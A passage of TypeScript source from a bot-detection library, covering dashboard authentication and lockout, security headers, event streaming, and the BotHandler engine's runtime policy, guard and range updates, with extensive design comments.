Math.max(100, options?.lockoutMs ?? 1_000);\n const maxLockoutMs = Math.max(lockoutMs, options?.maxLockoutMs ?? 5 * 60_000);\n // The TTL is the longest a lockout can last: past that there is nothing to remember.\n const attempts = new TtlLru<{ failures: number; until: number }>(10_000, maxLockoutMs * 2, handler.config.clock);\n\n return {\n check(address) {\n const now = handler.config.clock.now();\n const record = attempts.get(address);\n if (record === undefined || record.until <= now) return undefined;\n return record.until - now;\n },\n failed(address) {\n const now = handler.config.clock.now();\n const record = attempts.get(address) ?? { failures: 0, until: 0 };\n record.failures++;\n if (record.failures >= maxAttempts) {\n // Doubling from the first lockout, so a determined prober spends exponentially\n // more time for linearly more guesses.\n const delay = Math.min(maxLockoutMs, lockoutMs * 2 ** (record.failures - maxAttempts));\n record.until = now + delay;\n }\n attempts.set(address, record);\n },\n succeeded(address) {\n attempts.delete(address);\n },\n };\n}\n\n/** Every section on, unless the caller said otherwise. A dashboard is a whole tool by default. */\nfunction resolveSections(sections: DashboardSections | undefined): Required<DashboardSections> {\n const on = (value: boolean | undefined): boolean => value !== false;\n const policy = on(sections?.policy);\n const actors = on(sections?.actors);\n const feed = on(sections?.feed);\n return {\n feed,\n evidence: on(sections?.evidence),\n actors,\n // The Actors screen is the registry's view of the same subject, so it follows the\n // section that decides whether actors are a subject at all.\n registry: actors && on(sections?.registry),\n // The tester lives on the Live tab and returns an assessment, so it needs both.\n tester: feed && on(sections?.tester),\n statistics: on(sections?.statistics),\n audit: on(sections?.audit),\n notices: on(sections?.notices),\n changes: on(sections?.changes),\n policy,\n // Three sections that live inside the Policy tab, so switching that off takes them\n // with it rather than leaving them addressable by an endpoint nothing renders.\n guard: policy && on(sections?.guard),\n robots: policy && on(sections?.robots),\n ranges: policy && on(sections?.ranges),\n };\n}\n\n/**\n * The guard fields out of a submitted body, and nothing else.\n *\n * Reading named fields rather than passing the object through is what stops a\n * `{ rules: [...] }` smuggled into a guard request from meaning anything, and what\n * stops a future field on `GuardSettings` from being settable here by accident. Types\n * are checked by `updateGuard`; this only decides which keys exist.\n */\nfunction guardSettings(body: unknown): Partial<GuardSettings> & { suspectThreshold?: number } {\n if (body === null || typeof body !== \"object\") return {};\n const source = body as Record<string, unknown>;\n const out: Record<string, unknown> = {};\n for (const key of [\"falsePositivePolicy\", \"fallbackAction\", \"defaultAction\", \"terminalScoreThreshold\", \"suspectThreshold\"]) {\n if (source[key] !== undefined) out[key] = source[key];\n }\n return out as Partial<GuardSettings> & { suspectThreshold?: number };\n}\n\nfunction validateRefusal(refusal: DashboardRefusal, auth: DashboardAuth): DashboardRefusal {\n if (typeof refusal === \"object\") {\n if (typeof refusal.redirect !== \"string\" || refusal.redirect.length === 0) {\n throw new ConfigError(\"The dashboard's `refusal.redirect` needs a URL or a path to send people to.\");\n }\n return refusal;\n }\n\n if ((refusal === \"not-found\" || refusal === \"close\") && auth !== false && \"username\" in auth) {\n throw new ConfigError(\n `The dashboard is set to answer \"${refusal}\" and to authenticate with basic auth, which cannot both work: a browser prompts for a password only when a 401 asks it to, ` +\n `so nobody would ever be able to log in. Use \\`auth: { token }\\` or \\`auth: { authorize }\\` with a link people already hold, or leave \\`refusal\\` at \"unauthorized\".`,\n );\n }\n return refusal;\n}\n\n/**\n * Whether the policy editor may be enabled at all.\n *\n * An editor with no authentication on an address other people can reach is not a\n * feature, it is a stranger's bot policy — so that combination is refused at startup\n * rather than warned about.\n */\nfunction validateEditing(requested: boolean, auth: DashboardAuth, host: string, control: string): boolean {\n if (!requested) return false;\n if (auth === false && !LOOPBACK_HOSTS.has(host)) {\n throw new ConfigError(\n `The dashboard's editor was enabled with \\`auth: false\\` on ${host}, which would let anyone who can reach it rewrite your bot policy. ` +\n `Configure \\`auth\\`, or bind loopback, or leave \\`${control}\\` off.`,\n );\n }\n return true;\n}\n\n/**\n * Headers on every response.\n *\n * `no-store` because a dashboard cached anywhere is an evidence trail cached\n * anywhere; `frame-ancestors`/`DENY` because a page with a reset button has no\n * business in somebody else's iframe; `no-referrer` because the path can carry a\n * token when the query form of auth is used.\n */\nconst SECURITY_HEADERS: Record<string, string> = {\n \"cache-control\": \"no-store, max-age=0\",\n \"x-content-type-options\": \"nosniff\",\n \"x-frame-options\": \"DENY\",\n \"referrer-policy\": \"no-referrer\",\n};\n\n/** Every `/api` failure is JSON, so a caller that parses one response can parse them all. */\nfunction sendError(response: ServerResponse, status: number, message: string): void {\n send(response, status, \"application/json; charset=utf-8\", JSON.stringify({ error: message }));\n}\n\nfunction send(response: ServerResponse, status: number, contentType: string, body: string): void {\n response.writeHead(status, { ...SECURITY_HEADERS, \"content-type\": contentType });\n response.end(body);\n}\n\n/**\n * One server-sent event.\n *\n * The `id:` is what a browser hands back as `Last-Event-ID` when it reconnects, so it\n * goes on the frames a viewer can miss and on nothing else: a `stats` frame carrying\n * one would overwrite the viewer's place in the feed with a number that does not name\n * a place in it.\n */\nfunction frameFor(event: string, payload: unknown, id?: number): string {\n // A newline inside the JSON would terminate the frame early; `JSON.stringify`\n // escapes them, so a single `data:` line is always well-formed.\n const head = id === undefined ? \"\" : `id: ${id}\\n`;\n return `${head}event: ${event}\\ndata: ${JSON.stringify(payload)}\\n\\n`;\n}\n\n/** A `Last-Event-ID` is whatever the client chose to send. Only a plain counter is one. */\nfunction cursorOf(value: string | undefined): number | undefined {\n if (value === undefined || !/^\\d{1,15}$/.test(value.trim())) return undefined;\n return Number(value.trim());\n}\n\n/** Normalises a mount path to `/` or `/segment` with no trailing slash. */\nfunction normalizeBase(basePath: string): string {\n const trimmed = basePath.trim();\n if (trimmed === \"\" || trimmed === \"/\") return \"/\";\n const withSlash = trimmed.startsWith(\"/\") ? trimmed : `/${trimmed}`;\n return withSlash.endsWith(\"/\") ? withSlash.slice(0, -1) : withSlash;\n}\n\n/** The route within the mount, or `undefined` when the request is for something else entirely. */\nfunction routeOf(pathname: string, basePath: string, stripped: boolean): string | undefined {\n if (basePath === \"/\") return pathname === \"\" ? \"/\" : pathname;\n if (pathname === basePath) return \"/\";\n if (pathname.startsWith(`${basePath}/`)) {\n const rest = pathname.slice(basePath.length);\n return rest === \"/\" ? \"/\" : rest;\n }\n // The prefix is not there. On a listener of its own that is a request for something\n // else, and a dashboard mounted under `/_bots` answering at `/` would be a surprise\n // — so it is a 404, which is what it has always been. Mounted, it is far more likely\n // that the surrounding router removed the prefix before calling us.\n return stripped ? (pathname === \"\" ? \"/\" : pathname) : undefined;\n}\n\nfunction displayHost(host: string): string {\n if (host === \"0.0.0.0\" || host === \"::\" || host === \"\") return \"localhost\";\n return host.includes(\":\") && !host.startsWith(\"[\") ? `[${host}]` : host;\n}\n\n/**\n * Checks the configuration before anything listens.\n *\n * Every branch here fails at startup rather than at request time. A dashboard whose\n * access control is wrong is not a thing you want to discover from its traffic.\n */\nfunction validateAuth(auth: DashboardAuth | undefined, host: string): DashboardAuth {\n const isPublic = !LOOPBACK_HOSTS.has(host);\n\n if (auth === undefined) {\n if (host === MOUNTED_HOST) {\n throw new ConfigError(\n \"A mounted dashboard needs `auth`. With no bind address of its own there is nothing to inspect and nothing to assume, \" +\n \"and the page shows client addresses and the individual evidence behind every verdict — which is a tuning guide for whoever is scraping you. \" +\n \"Configure `auth: { username, password }`, `auth: { token }` or `auth: { authorize }`; \" +\n \"or write `auth: false` to state that the server you are mounting it on already authenticates.\",\n );\n }\n if (isPublic) {\n throw new ConfigError(\n `The dashboard is set to bind ${host}, which publishes it beyond this machine, and no \\`auth\\` was configured. ` +\n `It shows client addresses and the individual evidence behind every verdict — which is a tuning guide for whoever is scraping you. ` +\n `Configure \\`auth: { username, password }\\`, \\`auth: { token }\\` or \\`auth: { authorize }\\`; keep the default \\`host: \"127.0.0.1\"\\`; ` +\n `or write \\`auth: false\\` to state that something in front of it already authenticates.`,\n );\n }\n return false;\n }\n\n if (auth === false) return false;\n\n if (\"username\" in auth) {\n if (auth.username.length === 0 || auth.password.length === 0) {\n throw new ConfigError(\"The dashboard's basic auth needs a non-empty username and password. An empty credential is an open dashboard with a login prompt on it.\");\n }\n return auth;\n }\n\n if (\"token\" in auth) {\n // Short enough to guess is the same as no token at all, and this endpoint invites\n // exactly the sort of client that would try.\n if (auth.token.length < 16) {\n throw new ConfigError(`The dashboard's \\`token\\` is ${auth.token.length} characters. Use at least 16 from a random source — this is a bearer credential on a page describing your detection.`);\n }\n return auth;\n }\n\n return auth;\n}\n\n/**\n * May this request touch the dashboard, and who is it?\n *\n * Two answers rather than one, because the second is what an audit trail needs and the\n * page has no other way to learn it. A basic credential names itself; a custom\n * `authorize` may return a string instead of `true`; a bearer token names nobody, which\n * is a property of tokens and not something to paper over.\n *\n * The identity is used for attribution only. It is never a permission: what a viewer\n * may do is decided by `controls`, which belongs to the listener.\n */\nasync function authorize(request: IncomingMessage, url: URL, auth: DashboardAuth): Promise<{ ok: boolean; by?: string | undefined }> {\n if (auth === false) return { ok: true };\n\n if (\"authorize\" in auth) {\n try {\n const answer = await auth.authorize(request);\n // A string is an identity *and* an admission; an empty one is neither, so a\n // lookup returning \"\" for \"no such user\" fails closed.\n if (typeof answer === \"string\") return answer === \"\" ? { ok: false } : { ok: true, by: answer };\n return { ok: answer === true };\n } catch {\n // A throwing check is a failed check. Never an open door.\n return { ok: false };\n }\n }\n\n const header = request.headers.authorization ?? \"\";\n\n if (\"token\" in auth) {\n const bearer = header.startsWith(\"Bearer \") ? header.slice(7) : undefined;\n const supplied = bearer ?? url.searchParams.get(\"token\") ?? \"\";\n return { ok: constantTimeEqual(supplied, auth.token) };\n }\n\n if (!header.startsWith(\"Basic \")) return { ok: false };\n const decoded = Buffer.from(header.slice(6), \"base64\").toString(\"utf8\");\n const separator = decoded.indexOf(\":\");\n if (separator === -1) return { ok: false };\n // Both halves are compared, and neither comparison short-circuits the other: a\n // wrong username must not be distinguishable from a wrong password by timing.\n const userOk = constantTimeEqual(decoded.slice(0, separator), auth.username);\n const passOk = constantTimeEqual(decoded.slice(separator + 1), auth.password);\n return userOk && passOk ? { ok: true, by: auth.username } : { ok: false };\n}\n","export { startDashboard, createDashboardHandler } from \"./server.js\";\nexport { DashboardFeed } from \"./feed.js\";\nexport { renderDashboardPage } from \"./page.js\";\nexport type { DashboardPageOptions } from \"./page.js\";\nexport type { DashboardAuth, DashboardControls, DashboardEntry, DashboardEvidence, DashboardOptions, DashboardHandlerOptions, DashboardRedaction, DashboardRefusal, DashboardRequestHandler, DashboardSections, DashboardServer, DashboardSnapshot } from \"./types.js\";\n","import { ActorRegistry, ActorState } from \"./state.js\";\nimport { ChallengeService } from \"./challenge/index.js\";\nimport { Emitter } from \"./internal/emitter.js\";\nimport { MemoryStore } from \"./stores/memory.js\";\nimport { Metrics, toPrometheus } from \"./metrics.js\";\nimport { TrafficAudit } from \"./audit.js\";\nimport { NotificationHub } from \"./notify/hub.js\";\nimport { Policy } from \"./policy/policy.js\";\nimport type { GuardSettings } from \"./policy/policy.js\";\nimport { cachingResolver, nodeDnsResolver } from \"./internal/dns.js\";\nimport { clearanceDetector } from \"./detectors/clearance.js\";\nimport { combineEvidence } from \"./evidence.js\";\nimport { compileSignatures } from \"./detectors/known-bots.js\";\nimport { TERMINAL_ACTIONS } from \"./policy/types.js\";\nimport { executeAction } from \"./actions/index.js\";\nimport { parseUserAgent } from \"./internal/ua.js\";\nimport { pathMatches } from \"./internal/pattern.js\";\nimport { randomId } from \"./internal/crypto.js\";\nimport { ConfigError, resolveClientIp, resolveConfig, validateRules } from \"./config.js\";\nimport { withTimeout } from \"./internal/async.js\";\nimport type { ActionOutcome, CustomHandler } from \"./actions/types.js\";\nimport type { Rule } from \"./policy/types.js\";\nimport type { Assessment, DetectorFailure, Evidence, RequestFacts } from \"./types.js\";\nimport type { BotHandlerConfig, ResolvedConfig } from \"./config.js\";\nimport type { AuditOptions, TrafficAnomaly } from \"./audit.js\";\nimport type { DashboardOptions, DashboardServer } from \"./dashboard/types.js\";\nimport type { MetricsSnapshot, PrometheusOptions } from \"./metrics.js\";\nimport type { BotHandlerStore } from \"./stores/types.js\";\nimport type { BotSignature } from \"./detectors/known-bots.js\";\nimport type { DetectionContext, Detector, DetectorResult } from \"./detectors/types.js\";\nimport type { Decision } from \"./policy/types.js\";\nimport type { DnsResolver } from \"./internal/dns.js\";\nimport type { MultiPatternMatcher } from \"./internal/matcher.js\";\nimport type { SolutionOutcome } from \"./challenge/index.js\";\nimport { IpRangeSet } from \"./internal/ip.js\";\n\n/** Sentinel for a detector that ran out of time. A module-level symbol, so the hot path allocates none. */\nconst TIMED_OUT: unique symbol = Symbol(\"bothandler.timeout\");\n\nexport interface HandleResult {\n assessment: Assessment;\n decision: Decision;\n outcome: ActionOutcome;\n}\n\n/**\n * Everything the engine will tell you about, and the whole integration surface.\n *\n * Each of these has a matching `onX` in the config — the same mechanism, registered\n * for you at construction. Subscribe here when you want to add a listener later,\n * add several, or remove one; use the config form when you just want a callback.\n *\n * They are deliberately *derived* rather than raw: `denial` and `downgrade` exist\n * because \"a request was refused\" and \"the guard refused a rule\" are the two things\n * an operator wants an alert on, and making every subscriber re-derive them from\n * `decision` is how two integrations end up disagreeing about what a denial is.\n */\nexport interface BotHandlerEvents extends Record<string, unknown> {\n /** Every assessment, including the ones that concluded nothing. */\n assessment: Assessment;\n /** Every decision, with the assessment behind it. */\n decision: { assessment: Assessment; decision: Decision };\n /** A request that was actually denied: `block`, `drop` or `redirect`. */\n denial: { assessment: Assessment; decision: Decision };\n /** The guard replaced a terminal action with something recoverable. */\n downgrade: { assessment: Assessment; decision: Decision };\n /** A challenge was issued, solved or rejected. */\n challenge: { phase: \"issued\" | \"solved\" | \"rejected\"; actorKey?: string | undefined };\n /**\n * A detector threw or timed out.\n *\n * `requestId` is empty when the failure was noticed before the assessment was\n * assembled — the failure list on the assessment is the per-request record; this\n * event is the operational one, for the alert that says a resolver is down.\n */\n \"detector-failure\": { detector: string; reason: string; message: string; requestId: string };\n /** The rule set was replaced at runtime. */\n \"policy-change\": { rules: readonly string[]; warnings: readonly string[]; by?: string | undefined };\n /**\n * The guard settings were changed at runtime.\n *\n * Separate from `policy-change` on purpose. \"Which rules exist\" and \"how far a rule\n * is allowed to go\" are different powers with different consequences, and an\n * operator wiring an alert almost always wants the second one and not the first.\n * `before` and `after` both travel so the alert can say what actually moved.\n */\n \"guard-change\": { before: GuardSettings & { suspectThreshold: number }; after: GuardSettings & { suspectThreshold: number }; by?: string | undefined };\n /**\n * A range set was replaced at runtime — an allowlist entry added, a crawler's\n * published ranges refreshed.\n *\n * Worth an event of its own because the allowlist is the one list that stops\n * detection *running*: an address on it is not judged leniently, it is not judged at\n * all. A change to it is a change to what your bot handling can see.\n */\n \"range-change\": { name: string; size: number; entries: readonly string[]; by?: string | undefined };\n /**\n * An actor's behavioural memory was changed by hand — forgotten, or granted human\n * clearance.\n *\n * The remedy for a false positive that has stuck to somebody, and therefore exactly\n * the operation an audit trail wants to have seen.\n */\n \"actor-change\": { key: string; action: \"forget\" | \"clear\"; until?: number | undefined; by?: string | undefined };\n /** The audit noticed the traffic change shape. */\n anomaly: TrafficAnomaly;\n warning: string;\n error: { error: unknown; source: string };\n}\n\n/**\n * Who asked for a runtime change.\n *\n * Every mutating method takes one, and every one of them puts it in the warning and in\n * the event. The library has no idea who anybody is — it has no user model and does not\n * want one — so this is a string the caller supplies, and the caller is the thing that\n * *does* know: an authenticating dashboard, a deploy pipeline, an admin CLI. An absent\n * `by` is not a failure; it means whatever made the change could not say who.\n */\nexport interface ChangeContext {\n by?: string | undefined;\n}\n\n/** Options for a single assessment. */\nexport interface AssessOptions {\n /**\n * Whether this request is part of your traffic. Default true.\n *\n * `record: false` is a **dry run**: the detectors all run and the verdict is real,\n * but nothing is written down. No actor state moves, no counter increments, no\n * `assessment` event fires and no notification is sent — so asking \"what would this\n * request be judged as?\" does not become a row in the answer to \"what is my traffic\n * doing?\".\n *\n * It is what the dashboard's request tester uses, and what to reach for anywhere else\n * you want the engine's opinion about a request that is not happening: a support\n * ticket, a test, a rule you are drafting. The one thing a dry run cannot see is\n * history — it gets an actor with no past, because the alternative is to record the\n * request against a real one, which is the thing it promised not to do.\n */\n record?: boolean;\n}\n\n/** Description of a registered detector, for documentation and diagnostics. */\nexport interface DetectorDescription {\n id: string;\n description: string;\n cost: \"cheap\" | \"io\";\n stage: \"always\" | \"confirming\";\n}\n\n/**\n * The engine.\n *\n * Three separable steps, in a fixed order, each usable on its own:\n *\n * 1. {@link assess} — gather evidence and reach a verdict. Reads the request, touches\n * no response, and is safe to call anywhere, including from a log processor\n * replaying yesterday's traffic.\n * 2. {@link decide} — apply the policy, subject to the safety guard.\n * 3. {@link handle} — do both, then turn the decision into an outcome an adapter can\n * apply.\n *\n * Keeping them apart is what makes the library testable and what makes a\n * monitor-only deployment a first-class mode rather than a configuration trick: call\n * `assess` alone and you have a detector with no opinions about your traffic at all.\n *\n * Everything is failure-isolated. A detector that throws, a store that will not\n * answer, a notification sink that hangs — each degrades exactly itself and is\n * reported through `onError`. Nothing in this file can turn a bad day for a\n * dependency into a bad day for the site it is protecting.\n */\nexport class BotHandler {\n readonly config: ResolvedConfig;\n readonly registry: ActorRegistry;\n readonly store: BotHandlerStore;\n readonly policy: Policy;\n readonly challenge: ChallengeService | undefined;\n readonly notifications: NotificationHub;\n /**\n * The traffic audit, or `undefined` when it was switched off with `audit: false`.\n *\n * Exposed so you can ask it questions on your own schedule — `summary()` for the\n * two windows as they stand, `evaluate()` to run the checks now — which is what a\n * health endpoint or a cron job wants rather than waiting for the timer.\n */\n readonly audit: TrafficAudit | undefined;\n\n private readonly signatures: MultiPatternMatcher<BotSignature>;\n private readonly resolver: DnsResolver;\n private readonly handlers: Map<string, CustomHandler>;\n private readonly cheapDetectors: Detector[] = [];\n private readonly ioDetectors: Detector[] = [];\n private readonly confirmingDetectors: Detector[] = [];\n private readonly events: Emitter<BotHandlerEvents>;\n private readonly ignoreExact: Set<string>;\n private readonly ignorePatterns: readonly (string | RegExp)[];\n private readonly isHuman: ((facts: RequestFacts) => boolean) | undefined;\n private readonly meter: Metrics | undefined;\n /** Hoisted out of the metrics object: read once per detector per request. */\n private readonly timing: boolean;\n\n constructor(options: BotHandlerConfig = {}) {\n this.config = resolveConfig(options);\n this.events = new Emitter<BotHandlerEvents>((error, event) => this.config.onError(error, { source: `event:${event}` }));\n\n for (const warning of this.config.warnings) this.warn(warning);\n\n this.store = options.store ?? new MemoryStore({ clock: this.config.clock });\n this.registry = new ActorRegistry(this.config.clock, { windowMs: this.config.actorWindowMs, maxActors: this.config.maxActors });\n this.signatures = compileSignatures(this.config.signatures);\n this.resolver = cachingResolver(options.resolver ?? nodeDnsResolver(this.config.detectorTimeoutMs));\n this.handlers = new Map((options.handlers ?? []).map((handler) => [handler.id, handler]));\n this.isHuman = options.isHuman;\n // On unless switched off. A handful of integer increments per request is a price\n // worth paying by default: bot detection you cannot observe is bot detection that\n // starts turning people away without anyone noticing.\n this.meter = options.metrics === false ? undefined : new Metrics(typeof options.metrics === \"object\" ? options.metrics : {});\n this.timing = this.meter?.perDetectorTiming === true;\n\n this.challenge = options.challenge\n ? new ChallengeService({ ...options.challenge, store: this.store, clock: this.config.clock })\n : undefined;\n\n this.notifications = new NotificationHub({\n ...options.notifications,\n clock: this.config.clock,\n onError: (error, sinkId) => this.fail(error, `notify:${sinkId}`),\n });\n\n this.policy = new Policy({\n rules: this.config.rules,\n defaultAction: options.defaultAction ?? \"allow\",\n ...(options.defaultActionParams !== undefined ? { defaultParams: options.defaultActionParams } : {}),\n falsePositivePolicy: options.falsePositivePolicy ?? \"strict\",\n // Falling back to a challenge only makes sense if one can actually be issued.\n fallbackAction: options.fallbackAction ?? (this.challenge ? \"challenge\" : \"tag\"),\n ...(options.terminalScoreThreshold !== undefined ? { terminalScoreThreshold: options.terminalScoreThreshold } : {}),\n onDowngrade: (decision, assessment) => {\n this.notifications.emit({ type: \"downgrade\", at: new Date(assessment.facts.timestamp).toISOString(), assessment, decision });\n },\n });\n\n // The clearance detector needs the challenge service, so it is installed here\n // rather than in `defaultDetectors()`.\n const detectors = [...this.config.detectors];\n if (this.challenge && !detectors.some((detector) => detector.id === \"clearance\")) {\n detectors.unshift(clearanceDetector(this.challenge));\n }\n for (const detector of detectors) {\n if (detector.stage === \"confirming\") this.confirmingDetectors.push(detector);\n else if (detector.cost === \"io\") this.ioDetectors.push(detector);\n else this.cheapDetectors.push(detector);\n }\n\n // Proof travels between replicas; suspicion does not. See `shareConfirmations`.\n // Registered here rather than beside the store because the registry is built above\n // and a hook on an unassigned field is a very quiet way to do nothing.\n if (options.shareConfirmations === true) {\n this.registry.onFirstSight = (state) => this.loadSharedConfirmations(state);\n }\n\n this.ignoreExact = new Set(this.config.ignorePaths.filter((entry): entry is string => typeof entry === \"string\" && !entry.endsWith(\"/\")));\n this.ignorePatterns = this.config.ignorePaths.filter((entry) => typeof entry !== \"string\" || entry.endsWith(\"/\"));\n\n // Hooks are registered as ordinary listeners rather than being called directly\n // from the code that emits. One mechanism means one set of failure semantics: a\n // handler that throws is isolated and reported, whichever way it was registered.\n const hooks: Array<[keyof BotHandlerEvents & string, ((payload: never) => void) | undefined]> = [\n [\"assessment\", options.onAssessment as never],\n [\"decision\", options.onDecision as never],\n [\"denial\", options.onDenial as never],\n [\"downgrade\", options.onDowngrade as never],\n [\"challenge\", options.onChallenge as never],\n [\"detector-failure\", options.onDetectorFailure as never],\n [\"policy-change\", options.onPolicyChange as never],\n [\"guard-change\", options.onGuardChange as never],\n [\"range-change\", options.onRangeChange as never],\n [\"actor-change\", options.onActorChange as never],\n [\"anomaly\", options.onAnomaly as never],\n // `warning` is deliberately *not* in this list. `warn()` emits the event and\n // calls `config.onWarning` itself, so registering the same function as a listener\n // as well delivered every warning to it twice — which, for the one channel an\n // operator wires to a pager, is the worst place for a duplicate.\n [\"error\", undefined],\n ];\n for (const [event, handler] of hooks) {\n if (handler !== undefined) this.events.on(event, handler as (payload: BotHandlerEvents[typeof event]) => void);\n }\n\n this.audit = options.audit === false ? undefined : new TrafficAudit({ clock: this.config.clock, ...(typeof options.audit === \"object\" ? options.audit : {}) });\n // Only worth a timer when somebody is listening. An audit nobody subscribed to\n // still answers `handler.audit.evaluate()` on demand; it just does not wake up on\n // its own to say something into an empty room.\n if (this.audit !== undefined && (options.onAnomaly !== undefined || this.notifications.enabled)) {\n this.audit.start(auditInterval(options.audit), (anomaly) => this.raiseAnomaly(anomaly));\n }\n }\n\n /**\n * Runs the audit's checks now and emits whatever they found.\n *\n * The timer does this on a schedule; calling it yourself is for the cases a timer\n * cannot serve — a health endpoint that should report the current picture, a cron\n * job, a test with a manual clock.\n */\n runAudit(): TrafficAnomaly[] {\n if (this.audit === undefined) return [];\n const anomalies = this.audit.evaluate();\n for (const anomaly of anomalies) this.raiseAnomaly(anomaly);\n return anomalies;\n }\n\n private raiseAnomaly(anomaly: TrafficAnomaly): void {\n this.events.emit(\"anomaly\", anomaly);\n // Anomalies reach configured sinks as well as hooks, so an alerting setup that is\n // already wired up gets these without a second integration.\n if (this.notifications.enabled) {\n this.notifications.emit({ type: \"anomaly\", at: new Date(anomaly.at).toISOString(), anomaly });\n }\n }\n\n on<K extends keyof BotHandlerEvents & string>(event: K, listener: (payload: BotHandlerEvents[K]) => void): () => void {\n return this.events.on(event, listener);\n }\n\n /**\n * A point-in-time copy of the counters. Cheap enough to call on every scrape.\n *\n * Returns `undefined` when metrics were switched off with `metrics: false`.\n */\n metrics(): MetricsSnapshot | undefined {\n return this.meter?.snapshot(this.registry.size);\n }\n\n /** The same counters in Prometheus text exposition format. */\n prometheus(options?: PrometheusOptions): string | undefined {\n const snapshot = this.metrics();\n return snapshot === undefined ? undefined : toPrometheus(snapshot, options);\n }\n\n /**\n * Starts the operator dashboard on a listener of its own.\n *\n * ```ts\n * const dashboard = await botHandler.serveDashboard({\n * port: 9674,\n * auth: { username: \"ops\", password: process.env.DASH_PASSWORD! },\n * });\n * console.log(dashboard.url);\n * ```\n *\n * **Its own listener, not a route in your application.** Mounting it inside the app\n * it reports on puts it behind the bot handler, and that arrangement has three\n * separate failure modes: reading the dashboard shows up in the dashboard, a\n * challenge served to your site can lock you out of the tool you are using to read\n * about it, and the page becomes reachable at whatever authentication your public\n * site happens to have. A second port is the cheapest fix for all three.\n *\n * **Loopback by default, and it refuses to bind anywhere else without an explicit\n * `auth`.** This page shows client addresses and, per request, the exact evidence\n * behind the verdict — which is a tuning guide for anyone building a scraper\n * against you. See {@link DashboardOptions.host}.\n *\n * The returned handle carries the URL to open (with the real port, which matters if\n * you passed 0) and a `close()` that stops the listener, drops the event streams and\n * unsubscribes from this handler.\n */\n async serveDashboard(options?: DashboardOptions): Promise<DashboardServer> {\n // Imported here rather than at the top of the file: the dashboard pulls in an\n // HTTP server and a page's worth of markup, and a library used only for `assess()`\n // in a worker should not carry either.\n const { startDashboard } = await import(\"./dashboard/index.js\");\n return startDashboard(this, options);\n }\n\n /**\n * Replaces an IP range set while the process runs.\n *\n * Published crawler ranges are the reason this exists. Operators revise them, a\n * stale list turns a verified crawler into an accused impersonator, and requiring a\n * restart to pick up a new one means the list is refreshed roughly never. Fetch\n * them on whatever schedule you like and hand them here.\n *\n * The swap is atomic — the new set is fully parsed and validated before it replaces\n * the old one — so a request assessed mid-update sees one list or the other, never\n * a half-built one. Invalid input throws and leaves the existing set in place,\n * because a range set that silently matches nothing is worse than a stale one.\n */\n updateRanges(name: string, entries: readonly string[], context: ChangeContext = {}): void {\n const set = new IpRangeSet(entries);\n if (set.invalid.length > 0) {\n throw new ConfigError(`Cannot update the \"${name}\" ranges: ${set.invalid.join(\", \")} are not valid addresses or CIDRs. The previous set is unchanged.`);\n }\n if (set.size === 0) this.config.ranges.delete(name);\n else this.config.ranges.set(name, set);\n // Announced like the other runtime changes, and for a sharper reason than most:\n // the allowlist is the one list that stops detection *running*, so an address\n // added to it stops being assessed at all.\n this.warn(`Range set \"${name}\" replaced at runtime${attribute(context)}: ${set.size} entr${set.size === 1 ? \"y\" : \"ies\"}.`);\n this.events.emit(\"range-change\", { name, size: set.size, entries: set.entries(), by: context.by });\n }\n\n /** The ranges in a set, as written. `undefined` when no set of that name exists. */\n rangeEntries(name: string): readonly string[] | undefined {\n return this.config.ranges.get(name)?.entries();\n }\n\n /**\n * Discards one actor's behavioural memory.\n *\n * The remedy for a false positive that has stuck: a person whose actor key collected\n * a `confirmed-bot` — a shared office address, a phone that reused an IP — carries\n * `priorConfirmations` for the rest of the window, and any rule reading\n * `minPriorConfirmations` keeps matching them. Until this existed the only cure was\n * `registry.clear()`, which throws away every actor's history to fix one.\n *\n * It is not an allowlist: the next request from this actor is assessed exactly as any\n * first request would be.\n */\n forgetActor(key: string, context: ChangeContext = {}): void {\n this.registry.forget(key);\n this.warn(`Actor \"${key}\" was forgotten at runtime${attribute(context)}.`);\n this.events.emit(\"actor-change\", { key, action: \"forget\", by: context.by });\n }\n\n /**\n * Grants an actor human clearance for a while, as though it had solved a challenge.\n *\n * The `clearance` detector reads it, so this is an assertion about a person made by\n * an operator on evidence the request does not carry — the same category of claim as\n * `isHuman`, and it expires the same way a solved challenge does.\n */\n clearActor(key: string, forMs: number, context: ChangeContext = {}): void {\n const until = this.config.clock.now() + Math.max(0, forMs);\n this.registry.clearUntil(key, until);\n this.warn(`Actor \"${key}\" was cleared as human at runtime${attribute(context)}, until ${new Date(until).toISOString()}.`);\n this.events.emit(\"actor-change\", { key, action: \"clear\", until, by: context.by });\n }\n\n /** Convenience for `updateRanges(\"crawler:<id>\", …)`, matching a signature id. */\n updateCrawlerRanges(signatureId: string, entries: readonly string[], context: ChangeContext = {}): void {\n this.updateRanges(`crawler:${signatureId}`, entries, context);\n }\n\n /**\n * Replaces the rule list while the process runs.\n *\n * The dashboard's policy editor is the reason this exists, and the shape of it is\n * deliberate: you may change **which rules exist**, and nothing about **how far a\n * rule is allowed to go**. `falsePositivePolicy`, `fallbackAction` and\n * `terminalScoreThreshold` are fixed at construction. A dashboard — or anything\n * else holding a reference to this handler — therefore cannot relax the guard that\n * stops an unproven verdict from denying somebody. Loosening that is a deploy, on\n * purpose, reviewed by whoever reviews deploys.\n *\n * Validation runs first and throws on a rule that could never work; the swap only\n * happens if every rule survives it, so a bad edit leaves the running policy exactly\n * as it was. Warnings — a duplicate id, a rule that can never match — come back to\n * the caller *and* go to `onWarning`, because a policy changed at runtime should\n * leave a trace in the same place a policy loaded at startup does.\n */\n updatePolicy(rules: readonly Rule[], context: ChangeContext = {}): { warnings: string[] } {\n const warnings = validateRules(rules);\n this.policy.replaceRules(rules);\n const summary = `Policy replaced at runtime${attribute(context)}: ${rules.length} rule(s) — ${rules.map((rule) => rule.id).join(\", \") || \"none\"}.`;\n this.warn(summary);\n for (const warning of warnings) this.warn(warning);\n this.events.emit(\"policy-change\", { rules: rules.map((rule) => rule.id), warnings, by: context.by });\n return { warnings };\n }\n\n /**\n * Changes the guard settings while the process runs.\n *\n * The one runtime change that can start denying people, and it is kept apart from\n * {@link updatePolicy} for exactly that reason: a separate method, a separate\n * dashboard control, a separate event. Fields left out keep their current value.\n *\n * Everything is validated before anything is applied, so a rejected change leaves\n * the running guard exactly as it was — the same contract `updatePolicy` has. What\n * is refused and why is documented on {@link Policy.replaceGuard}; the short version\n * is that a terminal `fallbackAction` would turn every downgrade into the denial the\n * downgrade exists to prevent.\n *\n * It is announced twice on purpose: a `warning`, which lands wherever your startup\n * warnings land and in the dashboard's notices, and a `guard-change` event carrying\n * both the before and the after.\n */\n updateGuard(settings: Partial<GuardSettings> & { suspectThreshold?: number }, context: ChangeContext = {}): { guard: GuardSettings & { suspectThreshold: number } } {\n const before = { 